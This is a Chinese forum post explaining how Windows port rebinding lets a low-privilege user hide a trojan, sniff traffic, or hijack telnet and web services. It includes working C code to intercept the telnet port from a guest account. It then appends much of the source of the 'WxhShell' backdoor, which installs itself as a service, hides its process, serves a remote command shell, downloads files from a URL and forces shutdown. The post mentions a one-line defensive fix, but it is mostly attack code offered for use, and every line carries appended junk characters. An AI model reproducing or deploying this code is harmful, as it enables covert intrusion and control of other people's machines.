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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: JjS+'A$A5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1*8;)#%&  
 ?CAU+/  
  saddr.sin_family = AF_INET; V8/d27\  
|H t5a.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z&gma Ywq  
(S!UnBb&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kxhsDD$@p  
59oTU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B2[f1IMI  
vR\E;V  
  这意味着什么?意味着可以进行如下的攻击: w||t3!M+n  
D<J'\mo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8lV:-"+5  
t.ulG *  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M>i(p%  
NTt4sWP!I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i pn-HUrE@  
DDr\Kv)k(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sYS 8]JU  
#p(c{L!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t,9+G<)>H  
fv7VDo8vb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y_Gd_+oJ  
=v<w29P(g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 WkuCn T  
jOV6 %  
  #include XKTDBaON  
  #include {}$rN@OM$  
  #include 3 ZOD2: (  
  #include    A1p~K*[[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s^zlBvr|.  
  int main() IMWt!#vuY  
  { H7'42J@  
  WORD wVersionRequested; ^# $IoW  
  DWORD ret; -4x! #|]  
  WSADATA wsaData; aE'nW_f  
  BOOL val; fDsT@W,K  
  SOCKADDR_IN saddr; 3?B1oIHQ  
  SOCKADDR_IN scaddr; E.*hY+kGZ  
  int err; %:~Ah6R1  
  SOCKET s; KF'fg R  
  SOCKET sc; :\~>7VFg  
  int caddsize; 9^!.!%6O$  
  HANDLE mt; >3/ mV<g f  
  DWORD tid;   wK2$hsque  
  wVersionRequested = MAKEWORD( 2, 2 ); :Hq%y/  
  err = WSAStartup( wVersionRequested, &wsaData ); sGY}(9ED;  
  if ( err != 0 ) { dLYM )-H`>  
  printf("error!WSAStartup failed!\n"); K.yc[z)un  
  return -1; -Hm"Dx  
  } .8QhJHwd  
  saddr.sin_family = AF_INET; >IS4  
   _-vlN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;:=j{,&dl[  
'yCVB&`b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FC+-|1?C  
  saddr.sin_port = htons(23); %/3+:}@G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >c0leT  
  { O + aK#eF  
  printf("error!socket failed!\n"); qVh?%c1.Y  
  return -1; 1#N`elm  
  } 7D<Aa?cv_l  
  val = TRUE; ,u|>%@h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <*J"6x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) drAJ-ii  
  { oqvu8"  
  printf("error!setsockopt failed!\n"); 93n%:?l"<W  
  return -1; nN&dtjoF  
  } M;XU"8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fa]8v6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #Tc`W_-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Mc c%&j  
3DO*kM1s@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) oPs asa  
  { B4un6-<i  
  ret=GetLastError(); f=91 Z_M  
  printf("error!bind failed!\n"); ,$!fyi[;C  
  return -1; D% *ww'mt0  
  } gA=Pz[i)p  
  listen(s,2); s[7$%|~W  
  while(1) h*^JFZb  
  { ]A[}:E 5}  
  caddsize = sizeof(scaddr); M+")*Opq  
  //接受连接请求 ozsd6&z5l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); r } Wdj  
  if(sc!=INVALID_SOCKET) `}t5`:#k  
  { NdJ]\>5oN,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]iTP5~8U  
  if(mt==NULL) ;LgMi5dN  
  { kR1 12J9P  
  printf("Thread Creat Failed!\n"); ]foS.D,  
  break; i+S%e,U*  
  } ?6*\  M  
  } B[mZQ&Gz`a  
  CloseHandle(mt); vV"YgN:  
  } .K^gh$z!  
  closesocket(s); Ew]&~:$Ki  
  WSACleanup(); LntRLB'  
  return 0; '\QJ{/JV  
  }   T=w0T-[f  
  DWORD WINAPI ClientThread(LPVOID lpParam) j 7);N  
  { W/RB|TMT  
  SOCKET ss = (SOCKET)lpParam; GF@` ~im  
  SOCKET sc; IV&5a]j  
  unsigned char buf[4096]; :{eYm|2-  
  SOCKADDR_IN saddr; sz%]rN6$  
  long num; [GCaRk>b,  
  DWORD val; D+AkV|  
  DWORD ret; wy|b Hkr_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i*l =xW;bM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   : HU|BJ>  
  saddr.sin_family = AF_INET; [2Y@O7;n I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @sa_/LH!K  
  saddr.sin_port = htons(23); <b~~X`Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,V!Wo4M  
  { fvta<  
  printf("error!socket failed!\n"); }x6)}sz7  
  return -1; "w 4^i!\  
  } LTx,oa:ma  
  val = 100; @}^VA9ULK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~d<&OL  
  { tHqa%  
  ret = GetLastError(); Jl\U~i  
  return -1; \1?'JdN  
  } `+."X1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .5SYN -@  
  { @(6P L^I  
  ret = GetLastError(); iqoMQ7%  
  return -1; tw 3zw`o:  
  } owa&HW/_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sOz {spA  
  { H9;IA>  
  printf("error!socket connect failed!\n"); uQ ]ZMc  
  closesocket(sc); <QgpePyoN  
  closesocket(ss); sc-+?i  
  return -1; ;fQIaE&H  
  } AH#a+<;a  
  while(1) v! DU ewz  
  { y]!#$C /  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e~he#o[%a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >C{8}Lg-.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {Gh9(0,B?  
  num = recv(ss,buf,4096,0); CE (zt  
  if(num>0) +u |SX/C  
  send(sc,buf,num,0); lP4s"8E`h  
  else if(num==0) g^:`h VV  
  break; RHd no C  
  num = recv(sc,buf,4096,0); 1LSD,t|  
  if(num>0) /ZL6gRRA|  
  send(ss,buf,num,0); non5e)w3@  
  else if(num==0) 3:w_49~: ~  
  break; |A|K);  
  } I(3YXv VN  
  closesocket(ss); D{6BX-Dw.  
  closesocket(sc); ~md06"AYJ  
  return 0 ; h8k\~/iJ  
  } h0x'QiCc  
Jz0AYiCq  
_/ 5  
========================================================== 3k8nWT:wT  
< h|&7  
下边附上一个代码,,WXhSHELL ^;{uop"DS  
Y#P!<Q>}  
========================================================== P=P']\`p+  
jMX+uYx M  
#include "stdafx.h" ',D%,N}J  
>,Zn~8&Z  
#include <stdio.h> K4RQ{fWpm  
#include <string.h> 00>knCe6  
#include <windows.h> aU.!+e%_  
#include <winsock2.h> H:Q4!<  
#include <winsvc.h> benqm ~{\  
#include <urlmon.h> b!/-9{  
O#{`Fj`  
#pragma comment (lib, "Ws2_32.lib") GAs.?JHd  
#pragma comment (lib, "urlmon.lib") svt3gkR0  
7uu\R=$  
#define MAX_USER   100 // 最大客户端连接数 Oku7&L1  
#define BUF_SOCK   200 // sock buffer vXM {)  
#define KEY_BUFF   255 // 输入 buffer 39 pA:3iTd  
1;,<UHF8N  
#define REBOOT     0   // 重启 N3)n**  
#define SHUTDOWN   1   // 关机 d|gfp:Z`a  
8X? EB6=c  
#define DEF_PORT   5000 // 监听端口 ~XXNzz ]?  
oOLj? 0t  
#define REG_LEN     16   // 注册表键长度 [T3%Xt'4  
#define SVC_LEN     80   // NT服务名长度 4 B[uF/[  
s`yg?CR`,  
// 从dll定义API N]ebKe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WXf[W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y\9#"=+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E KJ2P$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hoiC J}us  
{XC[Ia6jtL  
// wxhshell配置信息 @bAu R  
struct WSCFG { K|D1  
  int ws_port;         // 监听端口 ^@Qc!(P  
  char ws_passstr[REG_LEN]; // 口令 W%MS,zkAE  
  int ws_autoins;       // 安装标记, 1=yes 0=no }:s.m8LC5n  
  char ws_regname[REG_LEN]; // 注册表键名 Xe\v6gbD  
  char ws_svcname[REG_LEN]; // 服务名 =<TJ[,h et  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 05jjLM'e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J9J/3O Q=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XrXW6s ;Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |v#rSVx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SoFl]^l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [CAFh:o  
xNRMI!yv   
}; 0hXx31JN N  
>I;.q|T  
// default Wxhshell configuration YKOj  
struct WSCFG wscfg={DEF_PORT, SUvrOl   
    "xuhuanlingzhe", yKz%-6cpSl  
    1, YPKB4p#  
    "Wxhshell", y M-k]_  
    "Wxhshell", >oi?aD%  
            "WxhShell Service",  Oe "%v;-  
    "Wrsky Windows CmdShell Service", 4`o<e)c3  
    "Please Input Your Password: ", \0e`sOS`L  
  1, {=U*!`D  
  "http://www.wrsky.com/wxhshell.exe", S C}@eA'  
  "Wxhshell.exe" ?1LRR ;-x  
    }; ^q|W@uG-(  
HHs!6`R$0c  
// 消息定义模块 v@J[qpX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?jvuTS2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #\K"FE0PGz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oDt{;S8|]  
char *msg_ws_ext="\n\rExit."; rz%^l1@-  
char *msg_ws_end="\n\rQuit."; E>r7A5Uo  
char *msg_ws_boot="\n\rReboot..."; 8WKY 4nkj  
char *msg_ws_poff="\n\rShutdown..."; ^HE@ [b  
char *msg_ws_down="\n\rSave to "; aej'cbO  
wL>;_KdU`  
char *msg_ws_err="\n\rErr!"; <q I!Dj{  
char *msg_ws_ok="\n\rOK!"; I;G(Wj  
j^hLn >  
char ExeFile[MAX_PATH]; 0fqycGSmU  
int nUser = 0; ao|n<*}  
HANDLE handles[MAX_USER]; e3[Q6d&|  
int OsIsNt; {/,AMJ<:G]  
z"Cyjmg"  
SERVICE_STATUS       serviceStatus; O{U j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qN Ut&#  
@a 7U0$,O#  
// 函数声明 Y|tK19  
int Install(void); 5;HCNwX  
int Uninstall(void); {&6i$4T  
int DownloadFile(char *sURL, SOCKET wsh); pEW~zl  
int Boot(int flag); :s-9@Yl|  
void HideProc(void); 9E[==2TO  
int GetOsVer(void); 4_$.gO  
int Wxhshell(SOCKET wsl); xZ >j Q_}  
void TalkWithClient(void *cs); 9}4~3_gv;M  
int CmdShell(SOCKET sock); }O| 9Qb  
int StartFromService(void); )me`Ud  
int StartWxhshell(LPSTR lpCmdLine); d..JW{  
_qo\E=E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (S?DKPnR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uotW[L9  
}-u%6KZ   
// 数据结构和表定义 cF?0=un  
SERVICE_TABLE_ENTRY DispatchTable[] = ?a1pO#{Dg  
{ 6)20%*[  
{wscfg.ws_svcname, NTServiceMain}, +m/n~-6q  
{NULL, NULL} 7QoMroR  
}; \F""G,AWq{  
lJT"aXt'M  
// 自我安装 7;&,L H  
int Install(void) Sn' +~6i  
{ L1y71+iqU  
  char svExeFile[MAX_PATH]; Vobq|Rd/%  
  HKEY key; .;l`VWP  
  strcpy(svExeFile,ExeFile); o)R<sT  
G!h75G20  
// 如果是win9x系统,修改注册表设为自启动 l/\D0\x2  
if(!OsIsNt) { AD@ {7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z a S29}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K CH`=lX  
  RegCloseKey(key); f/iMI)J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ibG>|hV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w~Vqg:'\$  
  RegCloseKey(key); )8SWU)/  
  return 0; <$WS~tTz  
    } dep"$pys>  
  } j0(jXAc;UB  
} J(w FJg\/  
else { m - hZ5 i  
)+w1nw|m  
// 如果是NT以上系统,安装为系统服务 6E9/ z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aUA)p}/:  
if (schSCManager!=0) tCar:p4$  
{ #3'M>SaoH  
  SC_HANDLE schService = CreateService kQQDaZ 8  
  ( 1X9s\JKQ  
  schSCManager, ;y50t$0  
  wscfg.ws_svcname, Fmz+ Xb  
  wscfg.ws_svcdisp, 5K)_w:U X  
  SERVICE_ALL_ACCESS, *-{|m1P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m4Ue)  
  SERVICE_AUTO_START, Ndgx@LTQQ  
  SERVICE_ERROR_NORMAL, 9.il1mAKg  
  svExeFile,  _+(@?  
  NULL, ,|.}6\zl*{  
  NULL, ik;F@kdm`  
  NULL, Chx+p&!  
  NULL, ;oDr8a<A  
  NULL %qTIT?6'  
  ); 6<R[hIWpZ}  
  if (schService!=0) 5NH4C  
  { 4-Jwy  
  CloseServiceHandle(schService); K>b4(^lf  
  CloseServiceHandle(schSCManager); G#^0Bh&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kRBO]  
  strcat(svExeFile,wscfg.ws_svcname); \xv(&94U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G.v(2~QFd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {8`$~c  
  RegCloseKey(key); k}NM]9EAE  
  return 0; P8ZmrtQm  
    } Y:, rN  
  } <gfRAeXA  
  CloseServiceHandle(schSCManager); V*@Y9G  
} A^A)arJS  
} N;6o=^ic  
g|7o1{   
return 1; CyW|k Dz  
} >xq. bG  
m8e()8lZ3  
// 自我卸载 P=\{  
int Uninstall(void) P".IW.^kk~  
{ 4v3gpLH  
  HKEY key; ;ko6igx)+  
)5gj0#|CG@  
if(!OsIsNt) { 7')W+`o8eL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,]W|"NUI  
  RegDeleteValue(key,wscfg.ws_regname); G -+!h4p  
  RegCloseKey(key); slUi)@b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -B&(& R  
  RegDeleteValue(key,wscfg.ws_regname); gZ7R^] k  
  RegCloseKey(key); UxzF5V5  
  return 0; 2Q5@2jT  
  } Hbd>sS  
} w`V6vYd@  
} .R'M'a#*!A  
else { Y0A(- "  
;FRUB@:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _vDmiIn6K  
if (schSCManager!=0) 1EEcNtpub]  
{ NRx I?v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -)VjjKz]8  
  if (schService!=0) Lhe&  
  { {uoF5|O6K  
  if(DeleteService(schService)!=0) { s.Ai _D  
  CloseServiceHandle(schService); 6$'*MpYF4  
  CloseServiceHandle(schSCManager); 5)eM0,:  
  return 0; v$Hz)J.01  
  } zyUS$g]&  
  CloseServiceHandle(schService); MGt>:&s(]  
  } $Th)z}A}EA  
  CloseServiceHandle(schSCManager); ck5cO-1>6  
} c@3 5\!9  
} [|=M<>?[  
=DD KGy.g  
return 1; nReld :#T  
} vZ"gCf3#?3  
m m`#v g,  
// 从指定url下载文件 \AKP ea=  
int DownloadFile(char *sURL, SOCKET wsh) M(LIF^'U:m  
{ {7z]+h  
  HRESULT hr; Rqp#-04*W  
char seps[]= "/"; >RAg63!`  
char *token; 4n7Kz_!SVf  
char *file; ._^ne=Lx  
char myURL[MAX_PATH]; L-C^7[48=  
char myFILE[MAX_PATH]; 9Ffam#  
zIjfx K  
strcpy(myURL,sURL); tm^joK[{|J  
  token=strtok(myURL,seps); ZL\^J8PRK  
  while(token!=NULL) h-?yed*?  
  { 'yq?xlIj  
    file=token; nW7: ]  
  token=strtok(NULL,seps); bS r"k  
  } j9h fW'  
e&d$kUJrq  
GetCurrentDirectory(MAX_PATH,myFILE); \GxqE8  
strcat(myFILE, "\\"); #]tDxZ] 6  
strcat(myFILE, file); Hy&Z0W'l  
  send(wsh,myFILE,strlen(myFILE),0); @:GqOTN  
send(wsh,"...",3,0); A#T"4'#?<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PENB5+1OK  
  if(hr==S_OK) !V3+(o 1  
return 0; :VZS7$5  
else ~io.TS|r  
return 1; 1J"I.  
!ZH "$m|  
} $sda'L5^p  
#NYnZ^6e  
// 系统电源模块 : #CWiq("%  
int Boot(int flag) "5~?`5Ff  
{ XxS#~J?:_  
  HANDLE hToken; uH%b rbrU  
  TOKEN_PRIVILEGES tkp; PR:B6 F8  
A+* lV*@0  
  if(OsIsNt) { Mh-"B([Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [07E-TT2U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zdrP56rzZ  
    tkp.PrivilegeCount = 1; D5@=#/?*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ofQs /  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O0L]xr  
if(flag==REBOOT) { WX?nq'nr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8^y=YUT  
  return 0; s_IFl5D]  
} %"A8Af**I  
else { >,]a>V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }_zN%Tf~  
  return 0; -@"3`uv"  
} [+dCA  
  } =JzzrM|V*  
  else { E4892B:`  
if(flag==REBOOT) { ?96r7C|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xOj#%;  
  return 0; v.Bwg 7R3  
} A&t8C8,  
else { Yp;Z+!!UZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) scH61Y8`  
  return 0; /g{*px|  
} ="& GU%$  
} 5.{=Op!  
AYfOETz  
return 1; Cy$~H  
} [#uhMn^  
)H W   
// win9x进程隐藏模块 $`3yImv+w  
void HideProc(void) Z%3CmKdeF  
{ 9m$"B*&6G  
`~)?OTzU#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [S,$E6&j$"  
  if ( hKernel != NULL ) |w|c!;,  
  { |> STb\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 94#,dA,M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~F'6k&A^q  
    FreeLibrary(hKernel); m_/U  t  
  } ?m]vk|>  
Dnw^H.  
return; {. 9BG&  
} auK9wQ%\  
\{ EVRRXn  
// 获取操作系统版本 gPk,nB  
int GetOsVer(void) mc?IM(t  
{ yl~;!  
  OSVERSIONINFO winfo; _D{A`z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FJtmRPP[r  
  GetVersionEx(&winfo); _`? cBu`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  (yP1}?  
  return 1; d9v66mpJM  
  else <?7qI85OT  
  return 0; /ZV2f3;t  
} P-4$Qksx  
3=uhy|f! /  
// 客户端句柄模块 7@<.~*Bl6  
int Wxhshell(SOCKET wsl) EO)JMV?6  
{ (1D1;J4g  
  SOCKET wsh; A)]&L`s  
  struct sockaddr_in client; zb9G&'7  
  DWORD myID; lg-_[!4Z  
_S ng55s  
  while(nUser<MAX_USER) CjpGo}a/  
{ n/1t UF  
  int nSize=sizeof(client); J"AR3b@,$?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h^=;\ng1l  
  if(wsh==INVALID_SOCKET) return 1; s oY\6mHio  
C`;igg$t_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "ZGP,=?y2  
if(handles[nUser]==0) 8C*@d_=q  
  closesocket(wsh); tI{]&dev  
else ,1mL=|na  
  nUser++; x>EL|Q=?  
  } wx3_?8z/O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3XQa%|N(  
>(a35 b$  
  return 0; >b2!&dm  
} I9qZE=i  
 6a,8t  
// 关闭 socket (%L /|F_  
void CloseIt(SOCKET wsh) h}SZ+G/L  
{ >S:(BJMo  
closesocket(wsh); I^k&v V  
nUser--; _|M8xI  
ExitThread(0); 7e+C5W*9b  
} ,A`|jF  
TbD  
// 客户端请求句柄 V_~lME  
void TalkWithClient(void *cs) sn:VMHrOT  
{ j_g(6uZhz3  
j ^j"w(a  
  SOCKET wsh=(SOCKET)cs; ly` A,dh  
  char pwd[SVC_LEN]; {V>F69IU  
  char cmd[KEY_BUFF]; _" 9 q(1  
char chr[1]; Ps@']]4>W  
int i,j; c0Ih$z  
Kc\8GkdB  
  while (nUser < MAX_USER) { nIg 88*6b,  
+w]#26`d  
if(wscfg.ws_passstr) { Cik1~5iF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); As46:<!2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <w^u^)iLy1  
  //ZeroMemory(pwd,KEY_BUFF); D{JjSky  
      i=0; H};1>G4  
  while(i<SVC_LEN) { r gIWM"  
9 ~W]D!m,  
  // 设置超时 +45SKu=  
  fd_set FdRead; c~(61Sn]  
  struct timeval TimeOut; 3&})gU&a  
  FD_ZERO(&FdRead); GxzO|vFQ  
  FD_SET(wsh,&FdRead); Aeh #  
  TimeOut.tv_sec=8; *S*49Hq7c  
  TimeOut.tv_usec=0; r&8aB85  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nBk&+SN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C1NU6iV^z  
U 2YY   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tsg`c;{  
  pwd=chr[0]; J*rYw5QB  
  if(chr[0]==0xd || chr[0]==0xa) { .4v?/t1  
  pwd=0; qvc< _k^  
  break; `]W9Fj<1j  
  } :-jbIpj'  
  i++; H14Q-2U1xa  
    } a9e0lW:=c  
m,\+RUW'  
  // 如果是非法用户,关闭 socket y]yl7g =~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s\ C ,5  
} NC~?4F[  
=i  vlS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B<EqzP*#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ]+Whv%M  
~!Sd|e:4  
while(1) { 2*75*EQCH  
*>W<n1r@]  
  ZeroMemory(cmd,KEY_BUFF); 7T[$BrO\  
nPvys~D  
      // 自动支持客户端 telnet标准   mBwz.KEm<  
  j=0; 7<WUj K|  
  while(j<KEY_BUFF) { A2gFY}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yd4X*Ua  
  cmd[j]=chr[0]; 0+iRgnd9?  
  if(chr[0]==0xa || chr[0]==0xd) { #,z-Pj?O!  
  cmd[j]=0; [j/|)cj  
  break; 7_oUuNw  
  } wuXQa wo  
  j++; H8w[{'Mei  
    } @H`jDaB 9  
ZX&e,X~V  
  // 下载文件 pZS]i "  
  if(strstr(cmd,"http://")) { ^|Z'}p|&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a&JY x  
  if(DownloadFile(cmd,wsh)) /b>xQ.G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ph P)|P  
  else PpFQoY7M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h.R46:  
  } O W.CU=XU  
  else { w98M #GqV  
K@=u F 1?  
    switch(cmd[0]) { pv0|6X?J"  
  }+m4(lpl  
  // 帮助 Ydrh+  
  case '?': { 2 %fcDEG/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); # l9VTzi  
    break; m^XO77"  
  } yn!;Z ._  
  // 安装 #+D][LH4  
  case 'i': { M <JX  
    if(Install()) /#T{0GBXe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kHr-UJ!  
    else r4P%.YO+X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (.=Y_g.  
    break; l/(~Kf9eQG  
    } C<teZz8/w  
  // 卸载 fSd|6iFH  
  case 'r': { \h'7[vkr  
    if(Uninstall()) <b"^\]l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jo&j<3i  
    else &v0]{)PO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); < xeB9  
    break; "Q+wO+}6  
    } ~/A2 :}Cp=  
  // 显示 wxhshell 所在路径 NpGi3>5  
  case 'p': { 8B-PsS|'  
    char svExeFile[MAX_PATH]; Vfzy BjQ  
    strcpy(svExeFile,"\n\r"); ?<.a>"!  
      strcat(svExeFile,ExeFile); $s=` {vv  
        send(wsh,svExeFile,strlen(svExeFile),0); h{7>>  
    break; `\(co;:  
    } 4~1b  
  // 重启 yg8= G vO  
  case 'b': { }JtcAuQt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z{vc6oj  
    if(Boot(REBOOT)) O-7)"   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TI8\qIW  
    else { 5yt=~  
    closesocket(wsh); lS Y "  
    ExitThread(0); HgW!Q(*  
    } 'V%w{ZiiV  
    break; #tg\ bb  
    } k(Xs&f `  
  // 关机 ^|oI^"I Q=  
  case 'd': { afHRy:<+%  
